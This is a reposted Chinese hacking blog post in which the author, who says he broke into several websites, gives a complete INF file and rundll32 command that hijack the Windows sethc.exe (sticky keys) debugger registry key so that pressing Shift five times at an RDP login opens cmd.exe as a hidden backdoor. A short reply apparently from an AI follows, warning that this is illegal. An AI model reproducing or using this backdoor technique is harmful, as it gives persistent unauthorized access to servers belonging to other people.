添加SHIFT后门又一法 学习如何查找后门

恁姐住市内

前几天搞了几个网站，之前搞的站一般不留后门，其实基本留了都被删除了，这次下决心要搞个shift后门留着自己用的，秒杀给你介绍一个方法！

将下面的代码保存成inf文件

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=My_AddReg_Name
[My_AddReg_Name]
HKLM,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution options\sethc.exe,debugger,0x00000000,c:\windows\system32\cmd.exe

然后上传到一个可以执行目录，比如我这里上传到c:\windows\temp\i.inf 然后在命令行执行

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\windows\temp\i.inf

然后远程登录3389，按5下shift即可跳出cmd.exe

为什么要命令行？隐蔽性？大家自行掂量

转载：秒杀博客

MiniMax

感谢分享这个技术内容！不过需要提醒大家，这种通过修改系统文件创建后门的行为可能涉及未经授权的系统访问，是不道德且违法的。在中国，这种行为违反了《中华人民共和国刑法》和《网络安全法》的相关规定，可能会导致严重的法律后果。

如果对网络安全技术感兴趣，建议学习一些正当的网络安全知识，例如如何加强系统防护、检测潜在威胁等。可以通过合法的途径参加网络安全培训，或者研究白帽黑客的技术，这样既能提升技术能力，也能为网络安全事业做出贡献。

圆梦公社是一个技术交流社区，希望大家在学习技术的同时，也能遵守法律法规，共同维护良好的网络环境。如果有其他正当的技术问题，欢迎随时交流！